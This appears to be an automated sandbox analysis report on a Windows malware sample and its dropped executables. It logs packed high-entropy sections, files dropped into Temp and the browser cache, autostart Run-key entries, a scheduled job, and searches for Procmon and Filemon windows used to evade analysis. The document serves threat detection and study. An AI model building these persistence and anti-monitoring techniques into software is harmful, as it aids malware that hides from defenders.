Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Section loaded: pnrpnsp.dll

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: YCL.lnk.13.dr

LNK file: ..\AppData\Local\Temp\vDG3ze8tYG37\Y-Cleaner.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: AaxpYFDQ32.exe

Static file information: File size 1932288 > 1048576

Source: AaxpYFDQ32.exe

Static PE information: Raw size of sfojeshh is bigger than: 0x100000 < 0x1a6800

Source:	Binary string: C:\Users\Hand1\source\repos\Portals\Portals\obj\Release\Portals.pdb source: 5a20da7e37.exe, 0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000E.00000000.1307749216.0000000000442000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: BitLockerToGo.pdb source: c2f48edf32.exe, 00000004.00000002.1345225664.000000000DFF4000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Hand1\source\repos\Portals\Portals\obj\Release\Portals.pdb<;V; H;_CorExeMainmscoree.dll source: 5a20da7e37.exe, 0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000E.00000000.1307749216.0000000000442000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: c2f48edf32.exe, 00000004.00000002.1345225664.000000000DFF4000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Unpacked PE file: 0.2.AaxpYFDQ32.exe.1b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sfojeshh:EW;msnkzsyy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sfojeshh:EW;msnkzsyy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 1.2.rapes.exe.570000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sfojeshh:EW;msnkzsyy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sfojeshh:EW;msnkzsyy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 2.2.rapes.exe.570000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sfojeshh:EW;msnkzsyy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sfojeshh:EW;msnkzsyy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Unpacked PE file: 4.2.c2f48edf32.exe.230000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hwbiecaj:EW;etiamjkq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hwbiecaj:EW;etiamjkq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Unpacked PE file: 6.2.7f41c1bc85.exe.e60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wlxljpjy:EW;eccmfriv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wlxljpjy:EW;eccmfriv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Unpacked PE file: 20.2.4bcefcec83.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W;nnxdaojg:EW;qaysogol:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nnxdaojg:EW;qaysogol:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Unpacked PE file: 21.2.2009d9de82.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwewqzez:EW;ismmphpg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwewqzez:EW;ismmphpg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Unpacked PE file: 22.2.4bcefcec83.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W;nnxdaojg:EW;qaysogol:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nnxdaojg:EW;qaysogol:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Unpacked PE file: 37.2.2009d9de82.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwewqzez:EW;ismmphpg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwewqzez:EW;ismmphpg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Unpacked PE file: 39.2.a026d51e13.exe.a00000.0.unpack :EW;.rsrc:W;.idata :W;mbqxpbvw:EW;tqtuagqa:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: random[1].exe1.3.dr

Static PE information: 0xADFF511F [Mon Jul 3 22:20:15 2062 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Y-Cleaner.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x105d9c
Source: random[2].exe.3.dr	Static PE information: real checksum: 0x1bb4ca should be: 0x1c9c0f
Source: random[1].exe.3.dr	Static PE information: real checksum: 0x489ac9 should be: 0x48b965
Source: 2009d9de82.exe.3.dr	Static PE information: real checksum: 0x1bb4ca should be: 0x1c9c0f
Source: random[1].exe1.3.dr	Static PE information: real checksum: 0x0 should be: 0x6445a
Source: rapes.exe.0.dr	Static PE information: real checksum: 0x1e2832 should be: 0x1e106d
Source: Bunifu_UI_v1.5.3.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].13.dr	Static PE information: real checksum: 0x0 should be: 0x105d9c
Source: random[1].exe2.3.dr	Static PE information: real checksum: 0x30137d should be: 0x304baf
Source: a026d51e13.exe.3.dr	Static PE information: real checksum: 0x2b03ea should be: 0x2a8a52
Source: 7f41c1bc85.exe.3.dr	Static PE information: real checksum: 0x1d1c0c should be: 0x1d5ebc
Source: random[2].exe1.3.dr	Static PE information: real checksum: 0x2b03ea should be: 0x2a8a52
Source: 5a20da7e37.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x6445a
Source: 4bcefcec83.exe.3.dr	Static PE information: real checksum: 0x30137d should be: 0x304baf
Source: random[1].exe0.3.dr	Static PE information: real checksum: 0x1d1c0c should be: 0x1d5ebc
Source: dll[1].13.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: AaxpYFDQ32.exe	Static PE information: real checksum: 0x1e2832 should be: 0x1e106d
Source: c2f48edf32.exe.3.dr	Static PE information: real checksum: 0x489ac9 should be: 0x48b965

Source: AaxpYFDQ32.exe	Static PE information: section name:
Source: AaxpYFDQ32.exe	Static PE information: section name: .idata
Source: AaxpYFDQ32.exe	Static PE information: section name:
Source: AaxpYFDQ32.exe	Static PE information: section name: sfojeshh
Source: AaxpYFDQ32.exe	Static PE information: section name: msnkzsyy
Source: AaxpYFDQ32.exe	Static PE information: section name: .taggant
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: sfojeshh
Source: rapes.exe.0.dr	Static PE information: section name: msnkzsyy
Source: rapes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name: .idata
Source: random[2].exe.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name: cwewqzez
Source: random[2].exe.3.dr	Static PE information: section name: ismmphpg
Source: random[2].exe.3.dr	Static PE information: section name: .taggant
Source: 2009d9de82.exe.3.dr	Static PE information: section name:
Source: 2009d9de82.exe.3.dr	Static PE information: section name: .idata
Source: 2009d9de82.exe.3.dr	Static PE information: section name:
Source: 2009d9de82.exe.3.dr	Static PE information: section name: cwewqzez
Source: 2009d9de82.exe.3.dr	Static PE information: section name: ismmphpg
Source: 2009d9de82.exe.3.dr	Static PE information: section name: .taggant
Source: random[2].exe1.3.dr	Static PE information: section name:
Source: random[2].exe1.3.dr	Static PE information: section name: .idata
Source: random[2].exe1.3.dr	Static PE information: section name: mbqxpbvw
Source: random[2].exe1.3.dr	Static PE information: section name: tqtuagqa
Source: random[2].exe1.3.dr	Static PE information: section name: .taggant
Source: a026d51e13.exe.3.dr	Static PE information: section name:
Source: a026d51e13.exe.3.dr	Static PE information: section name: .idata
Source: a026d51e13.exe.3.dr	Static PE information: section name: mbqxpbvw
Source: a026d51e13.exe.3.dr	Static PE information: section name: tqtuagqa
Source: a026d51e13.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: hwbiecaj
Source: random[1].exe.3.dr	Static PE information: section name: etiamjkq
Source: random[1].exe.3.dr	Static PE information: section name: .taggant
Source: c2f48edf32.exe.3.dr	Static PE information: section name:
Source: c2f48edf32.exe.3.dr	Static PE information: section name: .idata
Source: c2f48edf32.exe.3.dr	Static PE information: section name:
Source: c2f48edf32.exe.3.dr	Static PE information: section name: hwbiecaj
Source: c2f48edf32.exe.3.dr	Static PE information: section name: etiamjkq
Source: c2f48edf32.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe0.3.dr	Static PE information: section name:
Source: random[1].exe0.3.dr	Static PE information: section name: .idata
Source: random[1].exe0.3.dr	Static PE information: section name:
Source: random[1].exe0.3.dr	Static PE information: section name: wlxljpjy
Source: random[1].exe0.3.dr	Static PE information: section name: eccmfriv
Source: random[1].exe0.3.dr	Static PE information: section name: .taggant
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name:
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: .idata
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name:
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: wlxljpjy
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: eccmfriv
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe1.3.dr	Static PE information: section name: .CSS
Source: 5a20da7e37.exe.3.dr	Static PE information: section name: .CSS
Source: random[1].exe2.3.dr	Static PE information: section name:
Source: random[1].exe2.3.dr	Static PE information: section name: .idata
Source: random[1].exe2.3.dr	Static PE information: section name: nnxdaojg
Source: random[1].exe2.3.dr	Static PE information: section name: qaysogol
Source: random[1].exe2.3.dr	Static PE information: section name: .taggant
Source: 4bcefcec83.exe.3.dr	Static PE information: section name:
Source: 4bcefcec83.exe.3.dr	Static PE information: section name: .idata
Source: 4bcefcec83.exe.3.dr	Static PE information: section name: nnxdaojg
Source: 4bcefcec83.exe.3.dr	Static PE information: section name: qaysogol
Source: 4bcefcec83.exe.3.dr	Static PE information: section name: .taggant

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_1000F071 push ecx; ret	13_2_1000F084
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004540A0 push 8B0042B4h; retn 0042h	15_2_004540A5
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00450549 push FFFFFFB5h; ret	15_2_004505AF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004525D2 push esp; retf	15_2_004525D5
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004505AC push FFFFFFB5h; ret	15_2_004505AF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B22E6 push ecx; ret	15_2_703B22F9

Source: AaxpYFDQ32.exe	Static PE information: section name: entropy: 7.981077510098015
Source: AaxpYFDQ32.exe	Static PE information: section name: sfojeshh entropy: 7.954742265760833
Source: rapes.exe.0.dr	Static PE information: section name: entropy: 7.981077510098015
Source: rapes.exe.0.dr	Static PE information: section name: sfojeshh entropy: 7.954742265760833
Source: random[2].exe.3.dr	Static PE information: section name: cwewqzez entropy: 7.953625748474767
Source: 2009d9de82.exe.3.dr	Static PE information: section name: cwewqzez entropy: 7.953625748474767
Source: random[2].exe1.3.dr	Static PE information: section name: entropy: 7.800360964392479
Source: a026d51e13.exe.3.dr	Static PE information: section name: entropy: 7.800360964392479
Source: random[1].exe.3.dr	Static PE information: section name: hwbiecaj entropy: 7.922339831871351
Source: c2f48edf32.exe.3.dr	Static PE information: section name: hwbiecaj entropy: 7.922339831871351
Source: random[1].exe0.3.dr	Static PE information: section name: entropy: 7.981993591931888
Source: random[1].exe0.3.dr	Static PE information: section name: wlxljpjy entropy: 7.9533849699095995
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: entropy: 7.981993591931888
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: wlxljpjy entropy: 7.9533849699095995
Source: random[1].exe2.3.dr	Static PE information: section name: entropy: 7.114485825663996
Source: 4bcefcec83.exe.3.dr	Static PE information: section name: entropy: 7.114485825663996
Source: Y-Cleaner.exe.13.dr	Static PE information: section name: .text entropy: 7.869741129501483
Source: soft[1].13.dr	Static PE information: section name: .text entropy: 7.869741129501483

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Temp\vDG3ze8tYG37\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\soft[1]	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Temp\vDG3ze8tYG37\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]			Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\soft[1]			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2009d9de82.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a026d51e13.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4bcefcec83.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3353aa7d43.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4bcefcec83.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4bcefcec83.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2009d9de82.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2009d9de82.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3353aa7d43.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3353aa7d43.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a026d51e13.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a026d51e13.exe	Jump to behavior

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
